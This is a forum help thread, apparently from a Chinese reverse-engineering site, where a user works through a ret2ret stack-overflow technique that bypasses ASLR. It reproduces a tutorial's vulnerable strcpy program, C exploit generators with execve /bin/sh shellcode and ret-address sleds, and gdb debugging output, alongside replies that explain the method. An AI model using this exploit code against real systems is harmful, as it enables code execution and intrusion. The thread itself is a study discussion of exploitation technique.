首页
社区
课程
招聘
[求助]缓冲区溢出(ret2ret)的问题
发表于: 2016-6-27 16:10 3733

[求助]缓冲区溢出(ret2ret)的问题

2016-6-27 16:10
3733
下面是其中一种可以绕过ASLR的方法,但该如何理解呢?

我的理解是:
1)因为代码段是不需要随机化的,因此可以关注其中的跳转指令,如:ret
2)通过gdb ret2ret 可知,ret处的地址(代码段地址)为 0x0804840f
3)在 ret2retExploit.c 将 0x0804840f 作为 EIP 的覆盖地址(这里是有疑问的)
4)当执行至 ret 时,esp 将栈顶内容(0x0804840f )pop 至 eip,而程序跳转至 0x0804840f ,(再次)执行 ret。与此同时,esp = esp + 4;
5)重复执行4),直至栈顶内容不再是0x0804840f ,而是 0x90909090(4个nop)或者是 shellcode 的前4个字节。
6)按照文中的说明(我的理解),5)的最后是进入了shellcode......(不理解)

我的不理解主要是:0x0804840f 是代码段的地址,而shellcode 是在栈段中,当执行ret时,如果栈顶的内容是0x0804840f (那好办),则跳转至代码段,继续重复执行ret。但如果栈顶内容是 0x90909090 或 shellcode 的前4个字节(0x6850c031),则要确保之前要将shellcode 复制到 0x90909090 或 0x6850c031 中。但似乎文中并未提及,代码中也并没体现。是否我理解错了?

以下贴出全文:
    Figure 17: ret2ret.c

    v o i d f u n c t i o n ( char ∗ s t r ) {
    char b u f f e r [ 2 5 6 ] ;
    strcpy ( buffer , s t r ) ;
    }

    i n t main ( i n t a r g c , char ∗∗ a r g v ) {
    i n t no = 1 ;
    i n t ∗ p t r = &no ;
    f u n c t i o n ( argv [ 1 ] ) ;
    }


    Figure 18: ret2retExploit.c

    i n t main ( v o i d ) {
    char ∗ b u f f , ∗ p t r ;
    long ∗ a d r p t r ; i n t
    i;
    buff = malloc ( 2 8 0 ) ;
    ptr = buff ;
    a d r p t r = ( long ∗) p t r ;
    f o r ( i = 0 ; i <280; i +=4)
    ∗ ( a d r p t r ++) = 0 x 0 8 0 4 8 4 0 f ;
    f o r ( i = 0 ; i <260; i ++)
    b u f f [ i ] = 0 x90 ;
    ptr = buff +
    (260− s t r l e n ( s h e l l c o d e ) ) ;
    f o r ( i = 0 ; i <s t r l e n ( s h e l l c o d e ) ; i ++)
    ∗ ( p t r ++) = s h e l l c o d e [ i ] ;
    b u f f [ 2 8 0 ] = ’ \0 ’ ;
    p r i n t f ( ”%s ” , b u f f ) ;
    }


    char s h e l l c o d e [ ] =
    ” \ x31 \ xc0 ”
    ” \ x50 ”
    ” \ x68 ” ” / / s h ”
    ” \ x68 ” ” / b i n ”
    ” \ x89 \ xe3 ”
    ” \ x50 ”
    ” \ x53 ”
    ” \ x89 \ xe1 ”
    ” \ x99 ”
    ” \ xb0 \ x0b ”
    ” \ xcd \ x80 ”
    ;


Figure 16: ret2ret illustration


ret2ret

The problem with ASLR is that it is useless to overwrite the return address with a fixed address. The idea of ret2ret is to return to an already existing pointer that points into the shellcode. Already existing pointers must contain valid stack addresses to work. These valid stack addresses are potential pointers to the shellcode.

The attacker does not know anything about the stack addresses, but that does not matter, because he overwrites the instruction pointer by the content of such a potential shellcode pointer.

That sounds easy in theory. But there is a big practical problem: How to use such a pointer as return address? Till now the only way to manipulate the program flow was to overwrite the return instruction pointer directly. But it is not possible to copy something, e.g. the potential shellcode pointer, to this location. Therefore another way is used to get the potential shellcode pointer into the EIP register: return to return to return
to ... to the pointer (see figure 16).

That means it is possible to move hand over hand straight to the shellcode pointer using several ret commands. To understand the chain of returns you
have to recall what a return does: A return means pop eip, i.e. the content of the location where the ESP points to is written to the EIP. Usually this content is the RIP, when ret is called. Furthermore the ESP jumps one location upwards (the stack shrinks).

Imagine the RIP location contains a pointer to a ret command itself, and the location above as well and so on. This would end in a chain of returns: ret2ret.Remember that the addresses of the code segment are not randomized. A ret command can be found in the code segment of every program. So it is no problem to fill the stack with reliable pointers to return commands. The return chain should end right before the potential shellcode pointer, which would be called by the last ret. So the number of returns is variable, based on the offset from the return instruction pointer to the potential shellcode pointer.The potential shellcode pointer must be placed above(that means before) the first RIP, i.e. the pointer has to be older than the vulnerable buffer. But where to find pointers to newer stack frames? Every string and therefore most buffer overflows have to be terminated by a zero byte. Thus the least significant byte of the potential shellcode pointer can be overwritten with a zero.Due to this zero byte the pointer may be smaller than before and from there on it points to newer stack contents - where the shellcode is placed (see figure 16).

This byte alignment only works on a little endian system and a downwards growing stack. Who wants to try this on Sun SPARC?

As an example behold figure 17. This C program comes with a strcpy vulnerability and the potential pointer ptr. What is needed for an exploit is the address of a return command. It can be determined by using gdb as follows:
(gdb) disass main
0x080483d4 <main +0>: lea ...
...
0x0804840f <main+59>: ret

So a possible address to a ret command is 0804840fhex . Another possible address can be find out by disass function. Everything else, like how many ret commands have to placed before the pointer, can be determined by gdb as well. I think I do not have to mention all this issues in detail. But I
want to point out, that such an exploit should contain as much NOP instructions (0x90) as possible to increase the chance of the potential pointer to hit the shellcode. You can find an (often) working exploit for ret2ret in figure 18. Just pass the output of the exploit to the input of ret2ret:

> ./ret2ret ‘./ret2retExploit‘
sh-3.1$

I said it works ”often”, because the address space is randomized by every instantiation and so there will be always a remaining risk, that the shellcode pointer do not lead to its goal (after the byte alignment).

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
有人知道吗?
2016-6-27 16:48
0
雪    币: 292
活跃值: (815)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
3
楼主你对ret的理解没有问题,这个覆盖ret的方法是最基础缓冲区溢出的方法,正常情况下,比如把ret的地址换成栈帧的地址,就能去执行shellcode了,但我觉得你可能对这个英文阅读上面存在一些误解。
我大致阅读了一下这个英文文档,回答不一定准确,欢迎斧正,我大致看了一下,问题出现在里面的pointer,这里的理解应该是指针,这么想就很明白了,这个ret ret ret的方法有点像ROP链,只不过ROP链是一次采用pop,pop,pop,ret的指令序列直接到达某些关键地址,也通过这样的方法将某些关键函数存入寄存器,方便后续调用,在Linux下则是利用ROPGadget用于x64下攻防,或者利用ROP绕过DEP(扯得多了些)
那么利用ret ret ret的方法,将栈帧推移到某个关键的pointer,这里的理解就是指针,就是样例程序中给出的 i n t ∗ p t r = &no ;(不得不吐槽一下楼主代码粘贴格式需要稍微改善一下:) )
通过strcpy覆盖,将这个指针的地址位置覆盖成shellcode,这样到指针调用位置的时候ret,就相当于call [eax]了,这个调用方法在windows下大家应该很熟悉,就是类似于利用虚函数执行任意代码的意思。
2016-6-28 16:24
0
雪    币: 292
活跃值: (815)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4


画的比较挫,将就看。。。。
上传的附件:
2016-6-28 16:33
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
[QUOTE=Keoyo;1435120]

画的比较挫,将就看。。。。[/QUOTE]

楼上,

谢谢你的回复。

但我还是不太明白。如果要跳入shellcode,则首先要跳至buffer,这个如何做到(请结合代码解释)?

我重新将代码整理了一下,如下:
ret2ret.c:
#include <stdio.h>
#include <string.h>

void function(char *str)
{
	char buffer[256];
	strcpy(buffer,str);
}

int main(int argc,char **argv)
{
	int no=1;
	int *ptr=&no;
	function(argv[1]);
}


ret2retExploit.c:
#include <stdio.h>
#include <malloc.h>
#include <string.h>

char shellcode[] =
"\x31\xc0"
"\x50"
"\x68 ""//sh"
"\x68 ""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

int main(void)
{
	char *buff,*ptr;
	long *adrptr;int i;

	buff =malloc(280);
	ptr=buff;
	adrptr=(long*)ptr;

	for(i=0;i<280;i+=4)
	{
		*(adrptr++)=0x080484a6;	//main的ret指令的地址		
	}


	for(i=0;i<260;i++)
	{
		buff[i]=0x90;
	}

	ptr=buff+(260-strlen(shellcode));

	for(i=0;i<strlen(shellcode);i++)
	{
		*(ptr++)=shellcode[i];
	}

	buff[280]='\0';
	printf("%s",buff);
}


2016-6-28 21:45
0
雪    币: 292
活跃值: (815)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
6
我该怎么跟你解释?这个最好你用gdb自己调试一下再结合我上面那张很挫的图就明白了,当你ret到最后一帧之前你看一下栈空间是不是ret时esp中存放的值是一个指针,然后你再用b *0x[ip_addr]观察一下那个指针里的值是不是shellcode就一目了然了
2016-6-28 23:47
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
[QUOTE=Keoyo;1435175]我该怎么跟你解释?这个最好你用gdb自己调试一下再结合我上面那张很挫的图就明白了,当你ret到最后一帧之前你看一下栈空间是不是ret时esp中存放的值是一个指针,然后你再用b *0x[ip_addr]观察一下那个指针里的值是不是shellcode就一目了然了[/QUOTE]

楼上,

1、对于 ret2ret `ret2retExploit` 在gdb中的测试,我这边进行不下去,主要是 ret2retExploit 的输出是280个16进制字符,在gdb中如何作为 ret2ret 的参数输入,这个我试了很久都没成功,请指教。

2、鉴于上面 1 的“未成功”,我改造了一下原来的程序,将 ret2ret.c 和 ret2retExploit.c 合并成 ret2ret_1.c,如下:

ret2ret_1.c:
#include <stdio.h>
#include <string.h>
#include <malloc.h>

char shellcode[] =
"\x31\xc0"
"\x50"
"\x68 ""//sh"
"\x68 ""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

char* init(void)
{
	char *buff,*ptr;
	long *adrptr;int i;

	buff =malloc(280);
	ptr=buff;
	adrptr=(long*)ptr;

	for(i=0;i<280;i+=4)
	{
		*(adrptr++)=0x08048568;		
	}


	for(i=0;i<260;i++)
	{
		buff[i]=0x90;
	}

	ptr=buff+(260-strlen(shellcode));

	for(i=0;i<strlen(shellcode);i++)
	{
		*(ptr++)=shellcode[i];
	}

	buff[280]='\0';
	return buff;

}

void function(char *str)
{
	char buffer[256];
	strcpy(buffer,str);
}

int main(int argc,char **argv)
{
	int no=1;
	int *ptr=&no;
	argv[1] = init();
	function(argv[1]);
}


在gdb中调试,结果如下:
1)获取 ptr 的地址(结果是:0xbffff228):
disassemble main
Dump of assembler code for function main:
   0x0804852d <+0>:	push   %ebp
   0x0804852e <+1>:	mov    %esp,%ebp
   0x08048530 <+3>:	push   %ebx
   0x08048531 <+4>:	and    $0xfffffff0,%esp
   0x08048534 <+7>:	sub    $0x20,%esp
   0x08048537 <+10>:	movl   $0x1,0x18(%esp)
   0x0804853f <+18>:	lea    0x18(%esp),%eax
   0x08048543 <+22>:	mov    %eax,0x1c(%esp)
   0x08048547 <+26>:	mov    0xc(%ebp),%eax
   0x0804854a <+29>:	lea    0x4(%eax),%ebx
   0x0804854d <+32>:	call   0x8048444 <init>
   0x08048552 <+37>:	mov    %eax,(%ebx)
   0x08048554 <+39>:	mov    0xc(%ebp),%eax
   0x08048557 <+42>:	add    $0x4,%eax
   0x0804855a <+45>:	mov    (%eax),%eax
   0x0804855c <+47>:	mov    %eax,(%esp)
   0x0804855f <+50>:	call   0x804850d <function>
   0x08048564 <+55>:	mov    -0x4(%ebp),%ebx
   0x08048567 <+58>:	leave  
   0x08048568 <+59>:	ret    
End of assembler dump.
(gdb) b *0x804854d
Breakpoint 1 at 0x804854d: file ret2ret_1.c, line 61.
(gdb) r
Starting program: /home/gah/wlaq/buf_overflow/client/src/test/a.out 

Breakpoint 1, 0x0804854d in main (argc=1, argv=0xbffff2d4) at ret2ret_1.c:61
61		argv[1] = init();
(gdb) p $esp
$1 = (void *) 0xbffff210
(gdb) p ptr
$2 = (int *) 0xbffff228


2)获取 buffer 的首址(0xbffff100 = 0xbffff208 - 0x108):
disassemble function
Dump of assembler code for function function:
   0x0804850d <+0>:	push   %ebp
   0x0804850e <+1>:	mov    %esp,%ebp
   0x08048510 <+3>:	sub    $0x118,%esp
   0x08048516 <+9>:	mov    0x8(%ebp),%eax
   0x08048519 <+12>:	mov    %eax,0x4(%esp)
   0x0804851d <+16>:	lea    -0x108(%ebp),%eax
   0x08048523 <+22>:	mov    %eax,(%esp)
   0x08048526 <+25>:	call   0x8048340 <strcpy@plt>
   0x0804852b <+30>:	leave  
   0x0804852c <+31>:	ret    
End of assembler dump.
(gdb) b *0x804852b
Breakpoint 2 at 0x804852b: file ret2ret_1.c, line 55.
(gdb) p $ebp
$3 = (void *) 0xbffff238
(gdb) cont
Continuing.

Breakpoint 2, function (str=0x8048568 "Ð\220\220\220\220\220\220UWVS\350i") at ret2ret_1.c:55
55	}
(gdb) p $ebp
$4 = (void *) 0xbffff208


3)获取 buffer 的内容
x /80xw 0xbffff100
0xbffff100:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff110:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff120:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff130:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff140:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff150:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff160:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff170:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff180:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff190:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff1a0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff1b0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff1c0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff1d0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff1e0:	0x90909090	0x90909090	0xc0319090	0x2f206850
0xbffff1f0:	0x6868732f	0x69622f20	0x50e3896e	0x99e18953
0xbffff200:	0x80cd0bb0	0x08048568	0x08048568	0x08048568
0xbffff210:	0x08048568	0x08048568	0xb7fbdf00	0xb7e4be55
0xbffff220:	0xb7fed280	0x00000000	0x00000001	0xbffff228
0xbffff230:	0x08048570	0xb7fbdff4	0x00000000	0xb7e324d3


4)结果:显然 ptr (0xbffff22c)处的内容仍然为 0xbfffff228(no的地址)。而shellcode 的首址应为buffer的地址,即0xbffff100,我反复看了多次代码,我真的搞不清楚那句代码将 0xbffff100 这个地址写入 0xbffff22c(即 ptr 的地址)。

5)补充:ret2ret_1.c的编译我关了aslr,方便调试:
gcc -fno-builtin -w -fno-stack-protector -O0 -g ret2ret_1.c

6)以上是我的调试及分析,楼上,你能给出具体点的分析吗?最好结合 ret2ret_1.c 的代码.......
2016-6-29 09:34
0
游客
登录 | 注册 方可回帖
返回
//